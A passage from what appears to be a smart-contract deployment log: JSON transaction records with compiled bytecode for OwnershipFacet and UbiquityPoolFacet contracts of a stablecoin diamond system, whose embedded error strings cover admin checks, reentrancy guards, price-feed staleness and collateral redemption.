00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6114c8600033611efa565b61152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b60008573ffffffffffffffffffffffffffffffffffffffff1663e339eb4f86600060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166306fdde036040518163ffffffff1660e01b8152600401600060405180830381865afa1580156115bd573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261160391908101906120d2565b600154604080517f95d89b41000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff909216916395d89b41916004808201926000929091908290030181865afa158015611673573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526116b991908101906120d2565b6001546040517fffffffff0000000000000000000000000000000000000000000000000000000060e087901b1681526117129493929173ffffffffffffffffffffffffffffffffffffffff16908a908a906004016121e7565b6020604051808303816000875af1158015611731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117559190612247565b600780547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff838116919091179091556040517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152919250600091908616906370a0823190602401602060405180830381865afa1580156117f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061181a9190612264565b6001546040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015291925060009173ffffffffffffffffffffffffffffffffffffffff909116906370a0823190602401602060405180830381865afa15801561188e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118b29190612264565b6040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8581166004830152600060248301529192509087169063095ea7b3906044016020604051808303816000875af115801561192b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061194f919061227d565b506040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff84811660048301526024820184905287169063095ea7b3906044016020604051808303816000875af11580156119c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e9919061227d565b506001546040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8581166004830152600060248301529091169063095ea7b3906044016020604051808303816000875af1158015611a63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a87919061227d565b506001546040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8581166004830152602482018490529091169063095ea7b3906044016020604051808303816000875af1158015611b01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b25919061227d565b506001546040517fc66106570000000000000000000000000000000000000000000000000000000081526000600482015273ffffffffffffffffffffffffffffffffffffffff9182169185169063c661065790602401602060405180830381865afa158015611b98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bbc9190612247565b73ffffffffffffffffffffffffffffffffffffffff16148015611c8657506040517fc66106570000000000000000000000000000000000000000000000000000000081526001600482015273ffffffffffffffffffffffffffffffffffffffff808816919085169063c661065790602401602060405180830381865afa158015611c4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c6e9190612247565b73ffffffffffffffffffffffffffffffffffffffff16145b611cec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f4d47523a20434f494e5f4f524445525f4d49534d4154434800000000000000006044820152606401610724565b60408051808201918290526001547f70a0823100000000000000000000000000000000000000000000000000000000909252306044820152600091819073ffffffffffffffffffffffffffffffffffffffff166370a0823160648301602060405180830381865afa158015611d65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d899190612264565b81526040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015260209091019073ffffffffffffffffffffffffffffffffffffffff8a16906370a0823190602401602060405180830381865afa158015611dfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e1f9190612264565b9052600980547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8a8116919091179091556040517f0c3e4b54000000000000000000000000000000000000000000000000000000008152919250851690630c3e4b5490611eab908490600090339060040161229f565b6020604051808303816000875af1158015611eca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eee9190612264565b50505050505050505050565b6000611f4382611f08611f4c565b6000868152602091909152604090209073ffffffffffffffffffffffffffffffffffffffff8116600090815260018301602052604081205415155b90505b92915050565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00611f9b60017f7a9158dd65ad6382295fd9a8aad0a64b5d99867a77a0a1b2bc38a4f50be8bd776122f4565b1692915050565b73ffffffffffffffffffffffffffffffffffffffff81168114611fc457600080fd5b50565b600060208284031215611fd957600080fd5b8135611fe481611fa2565b9392505050565b60008060408385031215611ffe57600080fd5b823561200981611fa2565b9150602083013561201981611fa2565b809150509250929050565b600080600080600060a0868803121561203c57600080fd5b853561204781611fa2565b9450602086013561205781611fa2565b9350604086013561206781611fa2565b94979396509394606081013594506080013592915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60005b838110156120c95781810151838201526020016120b1565b50506000910152565b6000602082840312156120e457600080fd5b815167ffffffffffffffff808211156120fc57600080fd5b818401915084601f83011261211057600080fd5b8151818111156121225761212261207f565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f011681019083821181831017156121685761216861207f565b8160405282815287602084870101111561218157600080fd5b6121928360208301602088016120ae565b979650505050505050565b600081518084526121b58160208601602086016120ae565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b600073ffffffffffffffffffffffffffffffffffffffff808916835260c0602084015261221760c084018961219d565b8381036040850152612229818961219d565b91909616606084015260808301949094525060a00152949350505050565b60006020828403121561225957600080fd5b8151611fe481611fa2565b60006020828403121561227657600080fd5b5051919050565b60006020828403121561228f57600080fd5b81518015158114611fe457600080fd5b60808101818560005b60028110156122c75781518352602092830192909101906001016122a8565b50505083604083015273ffffffffffffffffffffffffffffffffffffffff83166060830152949350505050565b81810381811115611f46577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fdfea26469706673582212204f9ccdf644aef54406cccef94ed16de7be826020fe145183708fadc9e6eaef4e64736f6c63430008130033", + "nonce": "0x450", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xd1ab4e2ee714a62be280b18b1c04b8a2e6ec63eddf8990e0bb88de7c70bc1a03", + "transactionType": "CREATE", + "contractName": "OwnershipFacet", + "contractAddress": "0x58860e93b6fc7a6e4abd0f5d851a88654a34d0c0", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x51752", + "value": "0x0", + "input": "0x608060405234801561001057600080fd5b506103b5806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80638da5cb5b1461003b578063f2fde38b1461006c575b600080fd5b610043610081565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b61007f61007a366004610302565b610090565b005b600061008b61014c565b905090565b73ffffffffffffffffffffffffffffffffffffffff8116610138576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603460248201527f4f776e65727368697046616365743a204e6577206f776e65722063616e6e6f7460448201527f20626520746865207a65726f206164647265737300000000000000000000000060648201526084015b60405180910390fd5b610140610175565b61014981610227565b50565b60006101566102ac565b6004015473ffffffffffffffffffffffffffffffffffffffff16919050565b61017d6102ac565b6004015473ffffffffffffffffffffffffffffffffffffffff163314610225576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f4c69624469616d6f6e643a204d75737420626520636f6e7472616374206f776e60448201527f6572000000000000000000000000000000000000000000000000000000000000606482015260840161012f565b565b60006102316102ac565b60048101805473ffffffffffffffffffffffffffffffffffffffff8581167fffffffffffffffffffffffff000000000000000000000000000000000000000083168117909355604051939450169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3505050565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff006102fb60017fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131c61033f565b1692915050565b60006020828403121561031457600080fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811461033857600080fd5b9392505050565b81810381811115610379577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b9291505056fea264697066735822122005e30e5b5f63f7d5488f6ee88a05c89f44fcab3a4df62b42203c04b65f73be4f64736f6c63430008130033", + "nonce": "0x451", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x3c4a05d831ee1a3f2d1afe2e53a3b1be5104618b35cb1216941e43419072d49c", + "transactionType": "CREATE", + "contractName": "UbiquityPoolFacet", + "contractAddress": "0xb64f2347752192f51930ad6ad3bea0b3a2074fac", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x529630", + "value": "0x0", + "input": "0x608060405234801561001057600080fd5b50614a8e806100206000396000f3fe608060405234801561001057600080fd5b50600436106101f05760003560e01c80639aae55a71161010f578063b98c9fe6116100a2578063de858d7c11610071578063de858d7c14610446578063ecfd1a9e14610459578063edc8d27d1461046c578063edecef951461047f57600080fd5b8063b98c9fe6146103eb578063c4cb35cf146103f3578063cbd4e7b414610420578063cec10c111461043357600080fd5b80639d202bf8116100de5780639d202bf8146103aa578063a14d1f78146103bd578063aeaf4f04146103d0578063b4eae1cb146103e357600080fd5b80639aae55a7146103485780639b52b9a81461035b5780639b94607c1461038f5780639c494373146103a257600080fd5b80637853c8881161018757806381f174671161015657806381f17467146102f857806382ae27cd1461030d57806387dcd5fb1461032d57806392beb0421461034057600080fd5b80637853c888146102975780637e625a55146102aa5780637efc918f146102d257806381060163146102e557600080fd5b80632ed4d2d6116101c35780632ed4d2d61461025657806330bbe585146102695780635b0bdd8a1461027c5780636060663e1461028457600080fd5b8063040da685146101f557806317b2bffa1461020a5780632287fe4014610230578063245cd97314610243575b600080fd5b6102086102033660046140d5565b6104ad565b005b61021d610218366004614105565b610517565b6040519081526020015b60405180910390f35b61021d61023e366004614147565b610528565b61021d610251366004614162565b610533565b610208610264366004614147565b610546565b610208610277366004614147565b6105a9565b61021d610609565b610208610292366004614105565b610618565b6102086102a536600461418c565b610678565b6102bd6102b83660046141ae565b6106d9565b60408051928352602083019190915201610227565b6102086102e03660046141e0565b610770565b6102086102f3366004614162565b6107d7565b610300610838565b604051610227919061421c565b61032061031b366004614147565b610842565b60405161022791906142e4565b61021d61033b36600461418c565b6108f1565b61021d6108fd565b610208610356366004614105565b610907565b610363610910565b6040805173ffffffffffffffffffffffffffffffffffffffff9093168352602083019190915201610227565b61020861039d366004614147565b610923565b61021d610983565b6102bd6103b8366004614105565b61098d565b6102086103cb366004614162565b610a1e565b6102086103de366004614105565b610a7f565b61021d610adf565b610363610ae9565b6103fb610af4565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610227565b61020861042e366004614105565b610afe565b6102086104413660046143f9565b610b5e565b6102086104543660046141e0565b610bc0565b61020861046736600461418c565b610c22565b61020861047a366004614105565b610c83565b61049261048d366004614433565b610c8c565b60408051938452602084019290925290820152606001610227565b6104b8600033610d0f565b6105095760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e0000000060448201526064015b60405180910390fd5b6105138282610d32565b5050565b600061052282610ed9565b92915050565b600061052282610fbf565b600061053f8383610ff9565b9392505050565b610551600033610d0f565b61059d5760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6105a68161103f565b50565b6105b4600033610d0f565b6106005760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6105a68161119f565b600061061361122e565b905090565b610623600033610d0f565b61066f5760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6105a6816114dc565b610683600033610d0f565b6106cf5760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6105138282611573565b6000805481907ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0161074d5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610500565b600260005561075e868686866115c4565b60016000559097909650945050505050565b61077b600033610d0f565b6107c75760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6107d2838383611b7c565b505050565b6107e2600033610d0f565b61082e5760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6105138282611f44565b6060610613611fd3565b6108e8604051806101c001604052806000815260200160608152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160001515815260200160008152602001600081526020016000815260200160001515815260200160001515815260200160001515815260200160008152602001600081525090565b6105228261204c565b600061053f83836124a6565b600061061361251a565b6105a6816127de565b60008061091b612a88565b915091509091565b61092e600033610d0f565b61097a5760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6105a681612ac1565b6000610613612b43565b6000805481907ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01610a015760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610500565b6002600055610a0f83612bea565b60016000559094909350915050565b610a29600033610d0f565b610a755760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6105138282612ed4565b610a8a600033610d0f565b610ad65760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6105a681612f63565b6000610613613025565b60008061091b61303a565b6000610613613073565b610b09600033610d0f565b610b555760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6105a68161309e565b610b69600033610d0f565b610bb55760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6107d28383836130e2565b610bcb600033610d0f565b610c175760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6107d283838361317d565b610c2d600033610d0f565b610c795760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b61051382826132ee565b6105a681613358565b60008060006002600080015403610ce55760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610500565b6002600055610cf88989898989896135e1565b6001600055919b909a509098509650505050505050565b600061053f82610d1d613b63565b60008681526020919091526040902090613bb9565b6000610d3c613be8565b90508160ff16600003610dc257806016018381548110610d5e57610d5e614488565b90600052602060002090602091828204019190069054906101000a900460ff1615816016018481548110610d9457610d94614488565b90600052602060002090602091828204019190066101000a81548160ff021916908315150217905550610e98565b8160ff16600103610e1857806017018381548110610de257610de2614488565b90600052602060002090602091828204019190069054906101000a900460ff1615816017018481548110610d9457610d94614488565b8160ff16600203610e9857806015018381548110610e3857610e38614488565b90600052602060002090602091828204019190069054906101000a900460ff1615816015018481548110610e6e57610e6e614488565b90600052602060002090602091828204019190066101000a81548160ff0219169083151502179055505b6040805184815260ff841660208201527fbec79b11b630e33aa3659219a5b4daa7afe827632aa430038e143137f8fe947c91015b60405180910390a1505050565b600080610ee4613be8565b905061053f816011018481548110610efe57610efe614488565b9060005260206000200154826001018581548110610f1e57610f1e614488565b6000918252602090912001546040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff909116906370a0823190602401602060405180830381865afa158015610f95573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb991906144b7565b90613c37565b600080610fca613be8565b73ffffffffffffffffffffffffffffffffffffffff9093166000908152600f9093016020525050604090205490565b600080611004613be8565b73ffffffffffffffffffffffffffffffffffffffff949094166000908152600e90940160209081526040808620948652939052505090205490565b73ffffffffffffffffffffffffffffffffffffffff81166110a25760405162461bcd60e51b815260206004820152601560248201527f5a65726f206164647265737320646574656374656400000000000000000000006044820152606401610500565b60008173ffffffffffffffffffffffffffffffffffffffff16639c84d0f56040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111391906144b7565b9050600061111f613be8565b73ffffffffffffffffffffffffffffffffffffffff84166000818152602083815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905590519182529192507f52f81308a3d2d4628c2f3d497cfa085e5607381f7880df16645d1bffd1f3804d9101610ecc565b60006111a9613be8565b73ffffffffffffffffffffffffffffffffffffffff83166000818152602083815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905590519182529192507f2aa8eaa3c2488ba6ac1471de9d1eb0fc21ad69b649415dbdf94467ca4559a21691015b60405180910390a15050565b600080600061123b613be8565b9050600081601b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000808273ffffffffffffffffffffffffffffffffffffffff1663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381865afa1580156112b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112d891906144ea565b5093505092505060008373ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa15801561132c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611350919061453a565b60ff169050600083136113a55760405162461bcd60e51b815260206004820152601860248201527f496e76616c696420537461626c652f55534420707269636500000000000000006044820152606401610500565b601c8501546113b48342614586565b106114015760405162461bcd60e51b815260206004820152601560248201527f5374616c6520537461626c652f555344206461746100000000000000000000006044820152606401610500565b60088601546040517f687276530000000000000000000000000000000000000000000000000000000081526000600482018190529173ffffffffffffffffffffffffffffffffffffffff1690636872765390602401602060405180830381865afa158015611473573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149791906144b7565b90506114d0670de0b6b3a76400006114ca6114b385600a6146b9565b6114ca886114c487620f4240613c43565b90613c43565b90613c4f565b97505050505050505090565b620f424081111561152f5760405162461bcd60e51b815260206004820152601a60248201527f436f6c6c61746572616c20726174696f20746f6f206c617267650000000000006044820152606401610500565b6000611539613be8565b600681018390556040518381529091507f8a77c775772f19a095a743319ccdc8208b70389844786995a8ca94a4f6a8dd0290602001611222565b600061157d613be8565b600c8101849055600d810183905560408051858152602081018590529192507f08f944f25b910c541435bcde52d233072e903b37afc29bc8b5787b6e74d82c1a9101610ecc565b6000808560006115d2613be8565b90508060080160008260010184815481106115ef576115ef614488565b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16835282019290925260400190205460ff166116705760405162461bcd60e51b815260206004820152601360248201527f436f6c6c61746572616c2064697361626c6564000000000000000000000000006044820152606401610500565b600061167a613be8565b905080601701898154811061169157611691614488565b60009182526020918290209181049091015460ff601f9092166101000a900416156116fe5760405162461bcd60e51b815260206004820152601360248201527f52656465656d696e6720697320706175736564000000000000000000000000006044820152606401610500565b80600d015461170b61122e565b11156117595760405162461bcd60e51b815260206004820152601560248201527f446f6c6c617220707269636520746f6f206869676800000000000000000000006044820152606401610500565b60006117a1620f42406114ca61179a856014018e8154811061177d5761177d614488565b9060005260206000200154620f4240613c3790919063ffffffff16565b8c90613c43565b90506117ac8a613358565b6006820154620f424081106117d0576117c58b836124a6565b965060009550611837565b806000036117fb57600096506117f46117e761251a565b6114ca84620f4240613c43565b9550611837565b611810620f42406114ca836114c48f876124a6565b965061183461181d61251a565b6114ca61182d620f424085613c37565b8590613c43565b95505b61186f836011018c8154811061184f5761184f614488565b9060005260206000200154846001018d81548110610f1e57610f1e614488565b8711156118be5760405162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420706f6f6c20636f6c6c61746572616c000000006044820152606401610500565b8787101561190e5760405162461bcd60e51b815260206004820152601360248201527f436f6c6c61746572616c20736c697070616765000000000000000000000000006044820152606401610500565b8886101561195e5760405162461bcd60e51b815260206004820152601360248201527f476f7665726e616e636520736c697070616765000000000000000000000000006044820152606401610500565b336000908152600e8401602090815260408083208e84529091529020546119859088613c5b565b336000908152600e8501602090815260408083208f84529091529020556011830180546119d79189918e9081106119be576119be614488565b9060005260206000200154613c5b90919063ffffffff16565b836011018c815481106119ec576119ec614488565b6000918252602080832090910192909255338152600f85019091526040902054611a169087613c5b565b336000908152600f850160205260409020556012830154611a379087613c5b565b6012840155336000908152600b840160205260408120439055600101546040517f79cc6790000000000000000000000000000000000000000000000000000000008152336004820152602481018c905273ffffffffffffffffffffffffffffffffffffffff909116906379cc679090604401600060405180830381600087803b158015611ac357600080fd5b505af1158015611ad7573d6000803e3d6000fd5b50505050611ae3600090565b600b01546040517f40c10f190000000000000000000000000000000000000000000000000000000081523060048201526024810188905273ffffffffffffffffffffffffffffffffffffffff909116906340c10f1990604401600060405180830381600087803b158015611b5657600080fd5b505af1158015611b6a573d6000803e3d6000fd5b50505050505050505094509492505050565b611b8583613c67565b15611bd25760405162461bcd60e51b815260206004820152601860248201527f436f6c6c61746572616c20616c726561647920616464656400000000000000006044820152606401610500565b6000611bdc613be8565b60018181018054918201815560009081526020808220830180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8a1690811790915580835260028501825260408084208590556008860183529283902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905582517f313ce567000000000000000000000000000000000000000000000000000000008152925194955092936009860193611d0193909263313ce567926004808401938290030181865afa158015611cd2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf6919061453a565b60129060ff16613c37565b81546001810183556000928352602083200155604080517f95d89b410000000000000000000000000000000000000000000000000000000081529051600785019273ffffffffffffffffffffffffffffffffffffffff8916926395d89b4192600480830193928290030181865afa158015611d80573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052611dc691908101906146f4565b81546001810183556000928352602090922090910190611de69082614855565b505060118101805460018082018355600092835260208084209092018390556005840180548083018255908452828420620f42409101556013840180548083018255908452828420018390556014840180548083018255908452828420018390556016840180548083018255908452828420838204018054601f92831661010090810a60ff908102199092169092556017870180548086018255908752858720868204018054918516840a830219909116905560158701805480860182559087528587208682040180549190941690920a0219169055600a840180548083018255908452828420019490945560038301805480860182559083528183200180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff96909616959095179094556004909101805492830181558152919091206201518091015550565b6000611f4e613be8565b601b810180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8616908117909155601c820184905560408051918252602082018590529192507f78293bd51057152112290a42345ccd9387562eac811030334ea757f4d49bdd239101610ecc565b60606000611fdf613be8565b6001810180546040805160208084028201810190925282815293945083018282801561204157602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311612016575b505050505091505090565b6120f2604051806101c001604052806000815260200160608152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160001515815260200160008152602001600081526020016000815260200160001515815260200160001515815260200160001515815260200160008152602001600081525090565b60006120fc613be8565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260088201602052604090205490915060ff166121765760405162461bcd60e51b815260206004820152601260248201527f496e76616c696420636f6c6c61746572616c00000000000000000000000000006044820152606401610500565b60008160020160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050604051806101c001604052808281526020018360070183815481106121e3576121e3614488565b9060005260206000200180546121f8906147b4565b80601f0160208091040260200160405190810160405280929190818152602001828054612224906147b4565b80156122715780601f1061224657610100808354040283529160200191612271565b820191906000526020600020905b81548152906001019060200180831161225457829003601f168201915b505050505081526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018360030183815481106122ac576122ac614488565b6000918252602091829020015473ffffffffffffffffffffffffffffffffffffffff1682526004850180549290910191849081106122ec576122ec614488565b6000918252602080832090910154835273ffffffffffffffffffffffffffffffffffffffff881682526008860181526040918290205460ff161515908301526009850180549190920191908490811061234757612347614488565b9060005260206000200154815260200183600501838154811061236c5761236c614488565b9060005260206000200154815260200183600a01838154811061239157612391614488565b906000526020600020015481526020018360160183815481106123b6576123b6614488565b90600052602060002090602091828204019190069054906101000a900460ff16151581526020018360170183815481106123f2576123f2614488565b90600052602060002090602091828204019190069054906101000a900460ff161515815260200183601501838154811061242e5761242e614488565b90600052602060002090602091828204019190069054906101000a900460ff161515815260200183601301838154811061246a5761246a614488565b9060005260206000200154815260200183601401838154811061248f5761248f614488565b906000526020600020015481525092505050919050565b6000806124b1613be8565b90506125128160050185815481106124cb576124cb614488565b90600052602060002001546114ca8360090187815481106124ee576124ee614488565b9060005260206000200154600a61250591906146b9565b6114ca87620f4240613c43565b949350505050565b600080612525613be8565b905060008160180160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000808273ffffffffffffffffffffffffffffffffffffffff1663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381865afa15801561259e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125c291906144ea565b5093505092505060008373ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015612616573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061263a919061453a565b60ff1690506000831361268f5760405162461bcd60e51b815260206004820152600d60248201527f496e76616c6964207072696365000000000000000000000000000000000000006044820152606401610500565b601985015461269e8342614586565b106126eb5760405162461bcd60e51b815260206004820152600a60248201527f5374616c652064617461000000000000000000000000000000000000000000006044820152606401610500565b60006127086126fb83600a6146b9565b6114ca86620f4240613c43565b9050600086601a0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166386fc88d36040518163ffffffff1660e01b8152600401602060405180830381865afa15801561277b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061279f91906144b7565b905060006127b9826114ca670de0b6b3a764000080613c43565b90506127d1670de0b6b3a76400006114ca8386613c43565b9850505050505050505090565b60006127e8613be8565b3360009081526020829052604090205490915060ff1661284a5760405162461bcd60e51b815260206004820152601160248201527f4e6f7420616e20414d4f204d696e7465720000000000000000000000000000006044820152606401610500565b6000612854613be8565b905060003373ffffffffffffffffffffffffffffffffffffffff1663fe93de1f6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156128a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128c791906144b7565b90508160150181815481106128de576128de614488565b60009182526020918290209181049091015460ff601f9092166101000a9004161561294b5760405162461bcd60e51b815260206004820152601360248201527f426f72726f77696e6720697320706175736564000000000000000000000000006044820152606401610500565b81600801600083600101838154811061296657612966614488565b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16835282019290925260400190205460ff166129e75760405162461bcd60e51b815260206004820152601360248201527f436f6c6c61746572616c2064697361626c6564000000000000000000000000006044820152606401610500565b6129f081610ed9565b841115612a3f5760405162461bcd60e51b815260206004820152601a60248201527f4e6f7420656e6f756768206672656520636f6c6c61746572616c0000000000006044820152606401610500565b612a823385846001018481548110612a5957612a59614488565b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff169190613d62565b50505050565b6000806000612a95613be8565b601881015460199091015473ffffffffffffffffffffffffffffffffffffffff90911694909350915050565b6000612acb613be8565b601a810180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff85169081179091556040519081529091507fdac3a48dff76eec0a284b649cfb07035804ede2892dbaf7e72050756144fbb8c90602001611222565b600080612b4e613be8565b600181015460009350909150825b81811015612be457612bc6620f42406114ca856005018481548110612b8357612b83614488565b90600052602060002001546114c4876009018681548110612ba657612ba6614488565b9060005260206000200154600a612bbd91906146b9565b6114c487610ed9565b612bd0908561496f565b935080612bdc81614982565b915050612b5c565b50505090565b600080826000612bf8613be8565b9050806008016000826001018481548110612c1557612c15614488565b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16835282019290925260400190205460ff16612c965760405162461bcd60e51b815260206004820152601360248201527f436f6c6c61746572616c2064697361626c6564000000000000000000000000006044820152606401610500565b6000612ca0613be8565b9050806017018681548110612cb757612cb7614488565b60009182526020918290209181049091015460ff601f9092166101000a90041615612d245760405162461bcd60e51b815260206004820152601360248201527f52656465656d696e6720697320706175736564000000000000000000000000006044820152606401610500565b6010810154336000908152600b830160205260409020544391612d479190613c5b565b10612d945760405162461bcd60e51b815260206004820152601e60248201527f546f6f20736f6f6e20746f20636f6c6c65637420726564656d7074696f6e00006044820152606401610500565b336000908152600f82016020526040812054819015612ddf57336000908152600f84016020526040812080549190556012840154909750612dd59088613c37565b6012840155600191505b336000908152600e8401602090815260408083208b845290915290205415612e8057336000908152600e8401602090815260408083208b8452909152812080549190